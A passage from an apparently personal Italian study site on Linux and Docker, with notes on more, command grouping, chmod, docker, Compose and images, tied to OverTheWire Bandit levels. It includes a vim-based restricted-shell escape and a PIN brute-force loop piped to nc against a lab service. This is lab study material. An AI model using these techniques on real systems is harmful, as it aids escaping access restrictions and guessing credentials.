-noout -dates openssl s_client -connect google.com:443 \u003c/dev/null 2\u003e/dev/null | openssl x509 -noout -text | grep -E \"Subject|Issuer|Not After\" Ogni volta che scrivi https:// nel browser e premi invio, sullo sfondo succede qualcosa che la maggior parte degli sviluppatori web dà per scontato. Il lucchetto verde appare, la connessione è \"sicura\", si va avanti.\n","title":"Il lucchetto verde - cosa succede davvero in quei 250 millisecondi","type":"blog"},{"content":" Cosa fa # Mostra il contenuto di un file una schermata alla volta. Se tutto il testo entra in una schermata, stampa e termina subito. Se non entra, va in modalità interattiva e aspetta input.\nTL;DR # more file.txt # mostra il file una schermata alla volta Comportamento chiave:\nTesto corto → stampa tutto e termina subito Testo lungo → entra in modalità interattiva con prompt --More-- Modalità interattiva — comandi # Tasto Cosa fa Spazio Pagina successiva Invio Riga successiva q Esci v Apri il file in vim — vettore di escape /pattern Cerca testo h Help more vs less # more → vecchio, va solo avanti, esce quando finisce il file less → moderno, va avanti e indietro, non esce alla fine less e' quasi sempre preferibile a more — ma more e' presente su tutti i sistemi Unix anche minimali, quindi lo incontrerai spesso.\nScenario Reale — Bandit 25 # Lo script /usr/bin/showtext di bandit26 usava more per mostrare un file di testo breve:\n#!/bin/sh export TERM=linux more ~/text.txt exit 0 Su un terminale normale il testo entrava in una schermata → more terminava subito → lo script faceva exit 0 → connessione chiusa.\nL'exploit: rimpicciolire il terminale finché il testo non entra piu' in una schermata → more va in modalità interattiva → premi v → si apre vim → da vim si ottiene una shell bash:\n:set shell=/bin/bash :shell Note Questo e' un esempio classico di living off the land — usare strumenti legittimi del sistema per fare cose non previste. more, vim, less, man sono tutti potenziali vettori di escape da shell ristrette.\nCollegato a # less — versione moderna e preferibile vim — editor aperto da more con v bandit-25 — caso d'uso reale system — categoria ","date":"22 marzo 2026","externalUrl":null,"permalink":"/comandi/more/","section":"Comandi","summary":"Pager — mostra un file una schermata alla volta. Se il contenuto entra in una schermata esce subito. Se non entra va in modalità interattiva. Usato come vettore di escape in Bandit 25.","title":"more","type":"comandi"},{"content":" Cosa fa # Le graffe {} raggruppano piu' comandi in un unico stdout. La pipe che segue riceve tutto l'output come se venisse da un comando solo — una connessione, tutti i dati dentro.\nTL;DR # # Senza {}: ogni comando pipe separatamente → N connessioni echo \u0026#34;riga 1\u0026#34; | nc localhost 30002 echo \u0026#34;riga 2\u0026#34; | nc localhost 30002 # Con {}: un solo stdout → una connessione { echo \u0026#34;riga 1\u0026#34; echo \u0026#34;riga 2\u0026#34; } | nc localhost 30002 La regola: {} sta dove si fanno le domande — chi riceve i dati non deve sapere quanti comandi li hanno generati.\nCome funziona — il flusso # graph LR subgraph Blocco[\"{ } — stdout unificato\"] C1[echo riga 1] C2[echo riga 2] C3[echo riga 3] end Blocco --\u003e|pipe unica| NC[nc localhost 30002] NC --\u003e Output[risposta server] Senza le graffe ogni echo | nc aprirebbe una connessione TCP separata. Con le graffe nc riceve un unico stdin con tutte le righe in sequenza.\nSintassi — regole obbligatorie # # Formato multi-riga (piu\u0026#39; leggibile) { comando1 comando2 comando3 } | pipe-destinazione # Formato inline (tutto su una riga) { comando1; comando2; comando3; } | pipe-destinazione # OBBLIGATORIO inline: # - spazio dopo { # - spazio prima di } # - punto e virgola dopo l\u0026#39;ultimo comando Differenza con () — subshell # # {} — stesso processo, stesso ambiente # le variabili definite dentro sono visibili fuori { x=5; echo $x; } echo $x # stampa 5 # () — subshell separata # le variabili definite dentro NON sono visibili fuori (x=5; echo $x) echo $x # stampa niente — x non esiste fuori Per mandare dati a nc usa sempre {} — piu' leggero, stesso processo.\nCasi d'uso # Brute force su una connessione sola — Bandit 24:\npsw=\u0026#34;password_bandit24\u0026#34; { seq -f \u0026#34;%04g\u0026#34; 0 9999 | while read pin; do echo \u0026#34;$psw $pin\u0026#34; done } | nc localhost 30002 | grep -v Wrong Report con piu' comandi in un solo file:\n{ echo \u0026#34;=== $(date) ===\u0026#34; cat /var/log/auth.log | grep \u0026#34;Failed\u0026#34; echo \u0026#34;=== fine ===\u0026#34; } \u0026gt; report.log Redirect di stderr e stdout insieme da un blocco:\n{ comando_pericoloso altro_comando } \u0026amp;\u0026gt; tutto.log Il while dentro la pipe # Un caso speciale che confonde: il while genera righe, quelle righe diventano stdin del comando dopo la pipe:\n# Il while e\u0026#39; dentro una pipe — il suo stdout fluisce a nc seq 0 9999 | while read pin; do echo \u0026#34;$psw $pin\u0026#34; done | nc localhost 30002 Qui non servono le graffe perche' il while e' gia' dentro una pipe. Le graffe servono quando vuoi raggruppare piu' comandi distinti.\nScenario Reale # # Analisi log — raggruppa piu\u0026#39; grep in un unico output { grep \u0026#34;Failed password\u0026#34; /var/log/auth.log grep \u0026#34;Invalid user\u0026#34; /var/log/auth.log grep \u0026#34;Connection closed\u0026#34; /var/log/auth.log } | sort | uniq -c | sort -rn | head -20 # tutti i pattern di attacco SSH, ordinati per frequenza Tip Regola pratica: se stai per scrivere lo stesso comando di destinazione tre volte (es. | nc, | grep, \u0026gt;\u0026gt; file) per comandi diversi, fermati e usa {} — lo scrivi una volta sola.\nCollegato a # standard-streams — stdout, stdin, pipe netcat — destinazione tipica del raggruppamento seq — generatore di sequenze usato dentro i blocchi bandit-24 — caso d'uso reale system — categoria ","date":"21 marzo 2026","externalUrl":null,"permalink":"/concetti/command-grouping/","section":"Concetti","summary":"Le graffe {} raggruppano piu' comandi in un unico stdout. La pipe che segue riceve tutto l'output come se fosse un comando solo. Fondamentale per mandare stream di dati a un processo senza aprire connessioni multiple.","title":"Command Grouping - {}","type":"concetti"},{"content":" Cosa fa # Modifica i bit di permesso (rwx) di file e directory. Supporta due notazioni: ottale per impostare lo stato completo, simbolica per modificare un singolo bit senza toccare gli altri.\nSintassi # chmod [opzioni] modo file\nNotazione ottale vs simbolica — quando usare quale # Sono due notazioni per la stessa cosa. La scelta dipende da cosa vuoi fare:\n# OTTALE — usi quando sai esattamente lo stato finale completo chmod 755 script.sh # imposta rwxr-xr-x su tutti e tre i soggetti # SIMBOLICA — usi quando vuoi modificare solo un bit chmod u+x script.sh # aggiungi x solo all\u0026#39;owner, lascia il resto intatto chmod o-w file.txt # togli w agli others, lascia il resto intatto Il rischio dell'ottale se non conosci lo stato attuale:\n# file ha permessi 640 (rw-r-----) # vuoi aggiungere x all\u0026#39;owner chmod u+x file # simbolica → risultato: 750 (rwxr-x---) — corretto chmod 740 file # ottale → risultato: 740 (rwxr-----) — hai tolto r a group per sbaglio Con la notazione simbolica non puoi fare danni collaterali — tocchi solo il bit che dichiari.\nNotazione simbolica — struttura # # chmod CHI AZIONE COSA file chmod u + x script.sh # CHI: # u = user (owner) # g = group # o = others # a = all (u+g+o insieme) # AZIONE: # + = aggiungi il bit # - = togli il bit # = = imposta esattamente (sovrascrive) # COSA: # r = read # w = write # x = execute Notazione ottale — calcolo # Ogni cifra = somma dei bit per un soggetto:\n# r=4, w=2, x=1 # rwx = 4+2+1 = 7 # r-x = 4+0+1 = 5 # rw- = 4+2+0 = 6 # r-- = 4+0+0 = 4 # -wx = 0+2+1 = 3 ← puoi scrivere ed eseguire ma non leggere # --- = 0+0+0 = 0 # Logica binaria: # 7 = 111 (tutti accesi) # 5 = 101 (r si, w no, x si) # 3 = 011 (r no, w si, x si) # 0 = 000 (tutti spenti) Comandi essenziali # Comando Notazione Significato Cosa fa chmod 600 file ottale rw------- Solo owner legge e scrive — chiavi SSH chmod 644 file ottale rw-r--r-- Owner scrive, tutti leggono chmod 755 script.sh ottale rwxr-xr-x Owner tutto, altri leggono ed eseguono chmod 777 dir/ ottale rwxrwxrwx Tutti tutto — solo in lab, mai in produzione chmod 733 dir/ ottale rwx-wx-wx Owner tutto, altri scrivono ed eseguono ma non leggono chmod +x script.sh simbolica — Aggiungi x a tutti i soggetti chmod u+x script.sh simbolica — Aggiungi x solo all'owner chmod o-w file simbolica — Togli w agli others chmod -R 644 dir/ ottale + -R recursive Applica ricorsivamente a tutta la directory chmod a=r file simbolica r--r--r-- Imposta solo r per tutti, azzera w e x chmod a+r file simbolica — Aggiunge lettura a tutti (owner, group, others) Note Il comando chmod a+r /etc/apt/keyrings/docker.asc è comune per assicurarsi che qualsiasi processo utente o servizio nel sistema possa leggere la chiave pubblica (keyring), garantendo che l'installazione dei pacchetti non fallisca per permessi insufficienti. Equivale a chmod u+r,g+r,o+r.\nPermessi speciali — quarta cifra ottale # # Davanti alle 3 cifre standard puoi aggiungere una quarta: # 4 = SUID → processo gira con UID del proprietario # 2 = SGID → processo gira con GID del gruppo # 1 = Sticky → solo il proprietario puo\u0026#39; cancellare i file chmod 4755 file # SUID + 755 → -rwsr-xr-x chmod 2770 dir/ # SGID + 770 → drwxrws--- chmod 1777 /tmp # Sticky + 777 → drwxrwxrwt Per il dettaglio completo → vedi suid-sgid-sticky.\nScenario Reale — Bandit 23 # # Il problema: cron esegue il tuo script come bandit24 # bandit24 deve scrivere in una directory che hai creato tu # Crei la directory in /tmp mkdir /tmp/miadir # mktemp -d crea automaticamente in /tmp con nome casuale # Permessi di default dopo mkdir: 755 (rwxr-xr-x) # bandit24 e\u0026#39; in \u0026#34;others\u0026#34; → r-x → puo\u0026#39; leggere e attraversare # ma NON puo\u0026#39; scrivere (manca w) → Permission Denied # Fix minimo necessario: chmod 733 /tmp/miadir # others ottiene wx → puo\u0026#39; scrivere # oppure piu\u0026#39; permissivo (solo in lab): chmod 777 /tmp/miadir # Perche\u0026#39; 733 e\u0026#39; meglio di 777: # 777 → chiunque puo\u0026#39; leggere i file creati dentro # 733 → bandit24 puo\u0026#39; scrivere ma non leggere cosa c\u0026#39;e\u0026#39; dentro Scenario Reale — SSH keys # # SSH rifiuta chiavi con permessi troppo aperti chmod 600 ~/.ssh/id_rsa # solo owner legge/scrive — obbligatorio chmod 700 ~/.ssh/ # solo owner entra nella directory chmod 644 ~/.ssh/id_rsa.pub # chiave pubblica — tutti possono leggere Warning chmod 777 in produzione e' quasi sempre sbagliato. Lascia che chiunque sul sistema scriva e modifichi il file. Usalo solo in lab isolati come Bandit.\nTip Se non ricordi i numeri ottale: parti da 0 e somma. Devi leggere? +4. Scrivere? +2. Eseguire? +1. r+w = 6, r+x = 5, r+w+x = 7, w+x = 3.\nDove l'ho usato # bandit-23 — chmod +x sullo script in /var/spool/bandit24/foo bandit-23 — chmod 777 sulla directory /tmp per permettere scrittura a bandit24 Collegato a # iam — categoria linux-permissions-ugo — la logica dei bit suid-sgid-sticky — bit speciali (4000, 2000, 1000) chown — cambia proprietario, spesso usato insieme ","date":"19 marzo 2026","externalUrl":null,"permalink":"/comandi/chmod/","section":"Comandi","summary":"Modifica i permessi di accesso di file e directory. Supporta notazione ottale (stato finale esatto) e simbolica (modifica singolo bit). Fondamentale per il principio del minimo privilegio.","title":"chmod - change mode","type":"comandi"},{"content":" Cosa fa # Gestisce il ciclo di vita dei container — unita' isolate che eseguono un processo con il proprio filesystem e rete. Piu' leggero delle VM perche' condivide il kernel dell'host.\nArchitettura e reti # Per il modello mentale completo → docker-overview Per reti, tipi bridge, DNS interno → docker-network-defense\nComandi essenziali # Comando Flag Significato flag Cosa fa docker build -t tag — assegna nome:versione Crea un'immagine da un Dockerfile docker build . context — cartella corrente Specifica dove cercare il Dockerfile docker run -d detached — background Avvia un container docker run -p publish — host:container Mappa le porte (es. 8080:80) docker run --name name — nome personalizzato Assegna un nome al container docker run --rm remove — elimina al termine Utile per container temporanei docker ps -a all — anche quelli spenti Lista i container docker images — — Lista le immagini caricate docker stop/rm — — Ferma o elimina un container docker rmi — — Elimina un'immagine docker compose up -d detached — in background Avvia tutti i servizi docker compose down -v volumes — rimuove volumi Spegne e cancella dati persistenti docker compose logs -f follow — segue in tempo reale Mostra output dei container docker compose logs --tail 20 tail — ultime N righe Mostra solo le ultime 20 righe docker compose run --rm remove — elimina dopo l'uso Esegue comando una tantum docker compose exec -it interactive terminal — shell interattiva Entra in un container attivo docker inspect — — Mostra metadati completi del container docker network-defense ls — — Lista tutte le reti Docker docker network-defense inspect — — Dettagli di una rete (IP, container) docker cp src container:dest — — Copia file da host a container docker cp container:src dest — — Copia file da container a host Workflow Atomico — Build \u0026amp; Run # A differenza di compose, i comandi docker puri servono per gestire il singolo tassello.\n# 1. Crea l\u0026#39;immagine dal Dockerfile nella cartella attuale docker build -t mio-tool:v1.0 . # 2. Avvia il container mappando la porta 8080 dell\u0026#39;host sulla 80 interna docker run -d -p 8080:80 --name web-test mio-tool:v1.0 # 3. Esegui un\u0026#39;analisi rapida in un container che si auto-distrugge alla chiusura docker run --rm -it alpine:latest /bin/sh # --rm è vitale per non accumulare container \u0026#34;morti\u0026#34; nel sistema Esempio reale compose # Per un esempio annotato completo (Chatwoot, reti separate, ancora YAML) → docker-compose\nCombinazioni utili # # Riavvio pulito — cancella tutto e riparte da zero docker compose down -v \u0026amp;\u0026amp; docker compose up -d # -v rimuove i volumi — utile quando il DB e\u0026#39; corrotto # Debug di un servizio specifico docker compose logs -f --tail 20 rails # --tail 20 = mostra solo ultime 20 righe prima di seguire # Trova l\u0026#39;IP interno di un container docker inspect chatwoot | grep IPAddress # Entra in un container per debug docker compose exec -it chatwoot bash # -i = interactive, -t = tty (shell interattiva) #in questo modo legge direttamente stdin (è un terminale non interattivo) gunzip -c backup.sql.gz | docker exec -i postgres-rag psql -U rag_user -d foo # Modifica un file di configurazione in un container senza editor interno # Sintassi speculare a scp: src e dest, uno dei due ha il prefisso container: docker cp nome_container:/etc/app/config.xml ./config.xml # estrai dall\u0026#39;host # ... edita config.xml con il tuo editor ... docker cp ./config.xml nome_container:/etc/app/config.xml # reinserisci nel container # Il nome container si trova con: docker ps # ATTENZIONE: docker cp non preserva ownership — il file arriva con uid/gid dell\u0026#39;utente host # Dopo ogni cp in entrata, ripristina i permessi: docker exec nome_container chown root:wazuh /etc/app/config.xml # adatta user:group al servizio # Lista reti e container per rete docker network-defense ls docker network-defense inspect mynetwork Sicurezza # Per docker.sock e privilege escalation → docker-sock Per hardening container e immagini → docker-security\nWarning docker compose down -v e' distruttivo — cancella fisicamente i volumi. Usalo solo se hai un backup o vuoi resettare il lab.\nScenario Reale — Blue Team # # Un analista SOC controlla i container in esecuzione su un server sospetto docker ps --format \u0026#34;table {{.Names}}\\t{{.Image}}\\t{{.Ports}}\u0026#34; # Cerca container con porte esposte non previste docker ps --format \u0026#34;{{.Ports}}\u0026#34; | grep -v \u0026#34;^$\u0026#34; # Verifica se qualche container ha docker.sock montato docker inspect $(docker ps -q) | grep docker.sock # Controlla i log di un container sospetto docker logs --since 1h container_sospetto # --since 1h = solo ultima ora Collegato a # system — categoria docker-overview — modello mentale: immagini, container, volumi docker-networks — reti Docker, tipi bridge, DNS interno docker-compose — file YAML multi-servizio, esempi annotati docker-volumes — concetto: named volume vs bind mount docker-volume — comandi: ls, inspect, migrazione docker-sock — sicurezza: privilege escalation via socket docker-security — hardening container e immagini ","date":"19 marzo 2026","externalUrl":null,"permalink":"/comandi/docker/","section":"Comandi","summary":"Piattaforma di containerizzazione per eseguire applicazioni in ambienti isolati. Ogni container e' un processo con il proprio filesystem, rete e permessi, isolato dagli altri.","title":"docker","type":"comandi"},{"content":" Cosa fa # Piattaforma di containerizzazione. Ogni container e' un processo isolato con il proprio filesystem, rete e permessi — come un mini Linux che non sa degli altri.\nL'analogia del condominio # Prima di leggere le note tecniche, fissa questo modello:\nDocker Condominio Host (il tuo server) Il palazzo fisico Container Un appartamento — isolato dagli altri Immagine La planimetria — il template da cui costruisci Volume I mobili fissi — rimangono anche se esci Porta esposta Il citofono — come ti contattano dall'esterno docker exec La chiave di casa — come entri dentro Network Le regole di condominio — chi parla con chi ENTRYPOINT Il mestiere dell'inquilino — cosa fa quando si sveglia CMD Gli argomenti del giorno — cosa fa oggi specificatamente Dockerfile = definizione della classe (il codice sorgente) Immagine = classe compilata (pronta da istanziare) Container = istanza della classe (oggetto in esecuzione) Volume = proprietà statica della classe (persiste tra istanze) Network = interfaccia che le istanze implementano ENTRYPOINT = costruttore (eseguito sempre all'avvio) CMD = argomenti del costruttore (sovrascrivibili) docker build = compilazione docker run = new Classe() # Container = mini Linux isolato # graph TD subgraph Host[\"Host - il palazzo\"] subgraph C1[\"Container rails - appartamento 1\"] P1[processo ruby] FS1[filesystem isolato] N1[interfaccia di rete virtuale] end subgraph C2[\"Container postgres - appartamento 2\"] P2[processo postgres] FS2[filesystem isolato] N2[interfaccia di rete virtuale] end subgraph C3[\"Container redis - appartamento 3\"] P3[processo redis] FS3[filesystem isolato] N3[interfaccia di rete virtuale] end K[Kernel Linux condiviso] P1 \u0026 P2 \u0026 P3 --\u003e K end Ogni container ha il suo filesystem — ma condividono il kernel dell'host. Piu' leggero di una VM (che ha il suo kernel) ma meno isolato (un bug nel kernel colpisce tutti).\nContainer vs VM — non e' un'evoluzione, e' un livello diverso # Docker non e' la \u0026quot;naturale evoluzione\u0026quot; di una VM. Virtualizzano livelli diversi dello stack:\nVM Container Virtualizza Hardware OS (namespace + cgroups) Kernel Proprio per ogni VM Condiviso con l'host Isolamento Forte — VM escape e' difficile Piu' leggero — container escape piu' probabile Avvio Minuti Millisecondi Dimensione GB MB Caso d'uso tipico Ambienti completamente separati Processi isolati sullo stesso OS Coesistono: la configurazione tipica in cloud e' VM su hypervisor, con Docker che gira dentro quella VM.\nPerche' nel Dockerfile c'e' Alpine o Ubuntu se il kernel e' condiviso? # Un sistema Linux ha due parti distinte:\n┌─────────────────────────────┐ │ USERSPACE │ bash, apt/apk, libc, pip, la tua app │ (varia per distro) │ ← questo e\u0026#39; FROM alpine / FROM ubuntu ├─────────────────────────────┤ │ KERNEL SPACE │ syscall, processi, rete, hardware │ (condiviso in Docker) │ ← questo e\u0026#39; sempre l\u0026#39;host └─────────────────────────────┘ FROM alpine non sceglie il kernel — sceglie il filesystem userspace di Alpine: musl libc, ash shell, apk. Il kernel sotto e' sempre quello dell'host.\nPer questo Alpine pesa ~5MB: porta solo il minimo indispensabile dell'userspace, zero kernel.\nConseguenza pratica: non puoi fare FROM windows su un host Linux. Il kernel Windows non e' quello dell'host. Docker Desktop su Mac/Windows aggira questo girando una mini VM Linux sotto, e i container girano dentro quella VM.\nImplicazione di sicurezza (Security+) # Kernel condiviso = superficie di attacco condivisa. Una vulnerabilita' nel kernel Linux colpisce tutti i container su quell'host contemporaneamente. Le VM sono piu' isolate per questo motivo — ogni VM ha il suo kernel separato.\nIl ciclo di vita # graph LR DF[Dockerfile] --\u003e|docker build| IMG[Immagine] IMG --\u003e|docker run| C[Container in esecuzione] C --\u003e|docker stop| CS[Container fermo] CS --\u003e|docker start| C CS --\u003e|docker rm| Gone[eliminato] IMG --\u003e|docker rmi| Gone2[immagine eliminata] V[Volume] --\u003e|montato| C V --\u003e|sopravvive a| Gone L'immagine e' permanente — il container e' temporaneo. Il volume e' permanente — il filesystem del container e' temporaneo.\nCome si collegano le note # docker-overview.md ← sei qui — modello mentale │ ├── docker-image.md → cos'e' un'immagine, layer, tag ├── dockerfile.md → come si costruisce un'immagine ├── docker-network.md → reti, DNS interno, isolamento ├── docker-compose.md → file YAML, esempio Chatwoot └── docker-security.md → docker.sock, root, porte, secrets\nCollegato a # docker-image — immagini e layer dockerfile — ENTRYPOINT, CMD, COPY, USER docker-network-defense — reti, DNS interno, bridge docker-compose — orchestrazione multi-container docker-security — superficie di attacco e contromisure system — categoria ","date":"19 marzo 2026","externalUrl":null,"permalink":"/concetti/docker-overview/","section":"Concetti","summary":"Modello mentale per capire Docker prima di entrare nei dettagli tecnici. Ogni container e' un mini Linux isolato - un appartamento in un condominio.","title":"Docker - Modello Mentale","type":"concetti"},{"content":" Cosa fa # File YAML che descrive tutta l'infrastruttura di un'applicazione: servizi, reti, volumi, variabili d'ambiente. Con un solo comando (docker compose up) avvii tutto. Con un altro (docker compose down) spegni tutto.\nStruttura del file # # docker-compose.yml — struttura generale version: \u0026#34;3.8\u0026#34; services: # i container da avviare nome-servizio: image: ... ... volumes: # storage persistente nome-volume: networks: # reti virtuali nome-rete: Nome fisso per volumi e reti # Docker usa il nome della cartella come prefisso per volumi e reti:\n# cartella: infra-antonella/ # volume dichiarato: postgres_data # risultato su Docker: infra-antonella_postgres_data docker volume ls # local infra-antonella_postgres_data Se sposti il compose in un'altra cartella, il prefisso cambia e Docker crea un nuovo volume vuoto — perdendo i dati del vecchio.\nLa soluzione e usare il campo name: per fissare il nome indipendentemente dalla cartella:\n# Senza name — dipende dalla cartella (fragile) volumes: postgres_data: # Con name — nome fisso su Docker (portabile) volumes: postgres_data: name: \u0026#34;n8n_postgres_data\u0026#34; # questo e il nome che vedi in docker volume ls networks: web: name: web # stesso pattern per le reti #esempio docker-compose.yml ───────────────────────────────────── services: postgres-rag: volumes: - db-data:/var/lib/postgresql/data ↑ nome interno al compose (come una variabile) volumes: db-data: ← stesso nome interno name: postgres_rag_data ↑ nome fisico su Docker (quello che vedi in \u0026#34;docker volume ls\u0026#34;) Lo stesso vale per le reti. Il campo name: e il pattern corretto per qualsiasi servizio in produzione.\nImportant Aggiungi sempre name: esplicito a volumi e reti quando crei un nuovo compose. Evita il problema del prefisso e rende il progetto portabile su qualsiasi server senza dover migrare i dati.\nEsempio reale annotato — Chatwoot # services: # Ancora YAML — definisce configurazione comune riusabile base: \u0026amp;base image: chatwoot/chatwoot:v3.11.0 # versione fissa, non latest env_file: .env # variabili da file esterno volumes: - chatwoot_storage:/app/storage # volume named per i file upload postgres: image: pgvector/pgvector:pg16 container_name: chatwoot_postgres # nome fisso (invece di hash casuale) restart: always # riavvia se crasha ports: - \u0026#34;127.0.0.1:5434:5432\u0026#34; # 127.0.0.1 = solo localhost — non esposto a internet # 5434 = porta sull\u0026#39;host (evita conflitti con postgres locale) # 5432 = porta dentro il container environment: POSTGRES_DB: ${POSTGRES_DATABASE} # legge da .env POSTGRES_USER: ${POSTGRES_USERNAME} POSTGRES_PASSWORD: ${POSTGRES_PASSWORD} volumes: - chatwoot_db:/var/lib/postgresql/data # dati persistenti networks: - internal # solo rete interna — non raggiungibile da Traefik redis: image: redis:7-alpine # alpine = immagine minima, piu\u0026#39; sicura container_name: chatwoot_redis restart: always networks: - internal rails: \u0026lt;\u0026lt;: *base # copia tutto da \u0026amp;base container_name: chatwoot_rails command: [\u0026#34;bundle\u0026#34;, \u0026#34;exec\u0026#34;, \u0026#34;rails\u0026#34;, \u0026#34;s\u0026#34;, \u0026#34;-p\u0026#34;, \u0026#34;3000\u0026#34;, \u0026#34;-b\u0026#34;, \u0026#34;0.0.0.0\u0026#34;] networks: - internal # parla con postgres e redis - web # raggiungibile da Traefik sidekiq: \u0026lt;\u0026lt;: *base # stessa immagine di rails, comando diverso container_name: chatwoot_sidekiq command: [\u0026#34;bundle\u0026#34;, \u0026#34;exec\u0026#34;, \u0026#34;sidekiq\u0026#34;, \u0026#34;-C\u0026#34;, \u0026#34;config/sidekiq.yml\u0026#34;] networks: - internal # non ha bisogno di Traefik — solo DB e Redis volumes: chatwoot_storage: # file caricati dagli utenti chatwoot_db: # dati postgres networks: internal: driver: bridge # rete privata tra i container web: external: true # gia\u0026#39; esiste — creata da Traefik Flusso di una richiesta in questo stack # sequenceDiagram participant U as Utente participant T as Traefik participant R as Rails :3000 participant PG as Postgres :5432 participant RD as Redis :6379 U-\u003e\u003eT: GET https://chat.dominio.it T-\u003e\u003eR: GET http://rails:3000 (rete web) R-\u003e\u003ePG: SELECT * FROM conversations (rete internal) PG-\u003e\u003eR: risultati R-\u003e\u003eRD: cache lookup (rete internal) RD-\u003e\u003eR: cache hit R-\u003e\u003eT: 200 OK + HTML T-\u003e\u003eU: 200 OK + HTML cifrato TLS Anchor YAML — \u0026amp;base e \u0026lt;\u0026lt;: *base # L'anchor evita di ripetere la stessa configurazione:\n# Senza anchor — ripetizione rails: image: chatwoot/chatwoot:v3.11.0 env_file: .env volumes: - chatwoot_storage:/app/storage sidekiq: image: chatwoot/chatwoot:v3.11.0 # ripetuto env_file: .env # ripetuto volumes: - chatwoot_storage:/app/storage # ripetuto # Con anchor — DRY (Don\u0026#39;t Repeat Yourself) base: \u0026amp;base image: chatwoot/chatwoot:v3.11.0 env_file: .env volumes: - chatwoot_storage:/app/storage rails: \u0026lt;\u0026lt;: *base # copia tutto da base command: [...] # aggiunge solo quello che cambia sidekiq: \u0026lt;\u0026lt;: *base # stessa cosa command: [...] Comandi essenziali # docker compose up -d # avvia tutto in background # -d = detached docker compose down # spegne tutto docker compose down -v # spegne e cancella volumi # -v = volumes — DISTRUTTIVO docker compose logs -f rails # segue log di un servizio # -f = follow docker compose logs --tail 20 # ultime 20 righe di tutti i servizi # --tail N = ultime N righe docker compose restart rails # riavvia un singolo servizio docker compose exec rails bash # entra nel container rails # exec = esegui comando in container gia\u0026#39; avviato docker compose run --rm rails bash # run = avvia container temporaneo # --rm = remove, elimina dopo l\u0026#39;uso docker compose ps # stato di tutti i servizi docker compose pull # scarica versioni aggiornate delle immagini docker compose config # mostra il compose risolto: variabili .env sostituite, # nomi fisici di volumi e reti, path assoluti dei bind mount # utile per debuggare prima di avviare Warning docker compose down -v cancella i volumi — il database sparisce. Usalo solo se hai un backup o vuoi resettare completamente.\nTip docker compose exec -it rails bash e' il modo per \u0026quot;entrare\u0026quot; in un container e girare come se fossi dentro un mini Linux. Da li' puoi ispezionare file, variabili d'ambiente, connessioni.\nCollegato a # docker-image — le immagini usate nei servizi docker-network-defense — le reti definite nel file docker-security — volumi, porte, permessi system — categoria ","date":"19 marzo 2026","externalUrl":null,"permalink":"/concetti/docker-compose/","section":"Concetti","summary":"File YAML che descrive un'applicazione multi-container: quali immagini usare, come configurarle, come collegarle in rete, dove salvare i dati. Un solo file per gestire tutta l'infrastruttura.","title":"Docker Compose","type":"concetti"},{"content":" Cosa fa # Template immutabile da cui nascono i container. Contiene filesystem, dipendenze e istruzioni di avvio. L'immagine non cambia mai — ogni container che nasce da essa e' una copia fresca.\nAnalogia — la planimetria dell'appartamento # Un'immagine e' come la planimetria di un appartamento:\nLa planimetria (immagine) descrive com'e' fatto l'appartamento Puoi costruire 10 appartamenti identici dalla stessa planimetria Ogni appartamento (container) e' indipendente — se uno brucia, gli altri restano La planimetria non cambia quando ci abiti dentro graph LR Image[Immagine chatwoot:latest] --\u003e|docker run| C1[Container 1 in esecuzione] Image --\u003e|docker run| C2[Container 2 in esecuzione] Image --\u003e|docker run| C3[Container 3 in esecuzione] C1 --\u003e|modifica filesystem| FS1[Layer R/W temporaneo] C2 --\u003e FS2[Layer R/W temporaneo] C3 --\u003e FS3[Layer R/W temporaneo] Layer — come e' costruita un'immagine # Un'immagine e' un stack di layer sovrapposti. Ogni istruzione nel Dockerfile aggiunge un layer. I layer sono condivisi tra immagini — se due immagini usano ubuntu:22.04 come base, quel layer esiste una volta sola su disco.\ngraph TD L1[Layer 1: ubuntu:22.04 base] L2[Layer 2: apt install nodejs] L3[Layer 3: COPY package.json] L4[Layer 4: npm install] L5[Layer 5: COPY app/] RW[Layer R/W: modifiche del container - temporaneo] L1 --\u003e L2 --\u003e L3 --\u003e L4 --\u003e L5 --\u003e RW I layer sotto sono read-only — immutabili. Solo il layer in cima e' scrivibile, e appartiene al container, non all'immagine. Quando il container viene eliminato, quel layer sparisce.\nComandi essenziali # docker images # lista immagini locali docker pull chatwoot/chatwoot:latest # scarica immagine dal registry docker rmi chatwoot/chatwoot:latest # rimuove immagine locale docker image inspect chatwoot/chatwoot # dettagli completi docker history chatwoot/chatwoot # mostra i layer dell\u0026#39;immagine docker image prune # elimina immagini non usate Tag — versioni dell'immagine # # il tag e\u0026#39; la versione — dopo i due punti chatwoot/chatwoot:latest # ultima versione stabile chatwoot/chatwoot:v3.11.0 # versione specifica postgres:16 # postgres versione 16 postgres:16-alpine # postgres 16 su Alpine Linux (piu\u0026#39; leggero) # latest non e\u0026#39; sempre sicuro in produzione: # oggi latest = v3.11, domani latest = v4.0 con breaking changes # in produzione: usa sempre un tag specifico Warning In produzione non usare mai :latest — fissa sempre una versione specifica. Un docker compose pull su :latest potrebbe portare una versione incompatibile e rompere tutto.\nAggiornamenti disponibili # docker ps mostra una U a fianco del nome container quando l'immagine ha un aggiornamento disponibile nel registry.\nPer sapere quale immagine sta usando un container in esecuzione:\n# dettaglio completo docker inspect nome-container | grep Image # leggibile: nome container → immagine corrente docker ps --format \u0026#34;{{.Names}}: {{.Image}}\u0026#34; Per scaricare le versioni aggiornate e riavviare:\ndocker compose pull # aggiorna tutte le immagini del compose docker compose up -d # riavvia i container con le nuove immagini Esplorazione interattiva # Prima di scrivere un Dockerfile, conviene esplorare l'immagine base in modo interattivo per capire cosa è già installato e quale configurazione serve:\n# avvia un container temporaneo con shell interattiva docker run -it --rm nome-immagine /bin/bash Tip Questo approccio riduce i tentativi nel Dockerfile: prima capisci cosa funziona in modo interattivo, poi lo trascrivi come istruzione RUN. Il container viene eliminato all'uscita (--rm).\nDocker Entrypoint Override # A volte il comando sopra fallisce o non apre una shell. Questo succede quando l'immagine ha un ENTRYPOINT definito (es: ENTRYPOINT [\u0026quot;/entrypoint.sh\u0026quot;, \u0026quot;app\u0026quot;]). In questo caso, /bin/bash viene passato come argomento allo script, non eseguito come comando.\nPer \u0026quot;zittire\u0026quot; lo script e forzare l'accesso al sistema:\n# Sovrascrive l\u0026#39;entrypoint originale docker run -it --rm --entrypoint /bin/bash nome-immagine # Per immagini Alpine Linux (che spesso non hanno bash) docker run -it --rm --entrypoint /bin/sh nome-immagine Perché è utile in ambito Security? # Ispezione del Filesystem: Verificare se sono rimasti file temporanei, log o segreti (/tmp, /root/.npm). Verifica Permessi: Controllare con whoami e ls -l se i processi girano come root. Bypass delle Restrizioni: Se l'entrypoint esegue controlli di licenza o configurazione, l'override permette di analizzare il container \u0026quot;a cuore 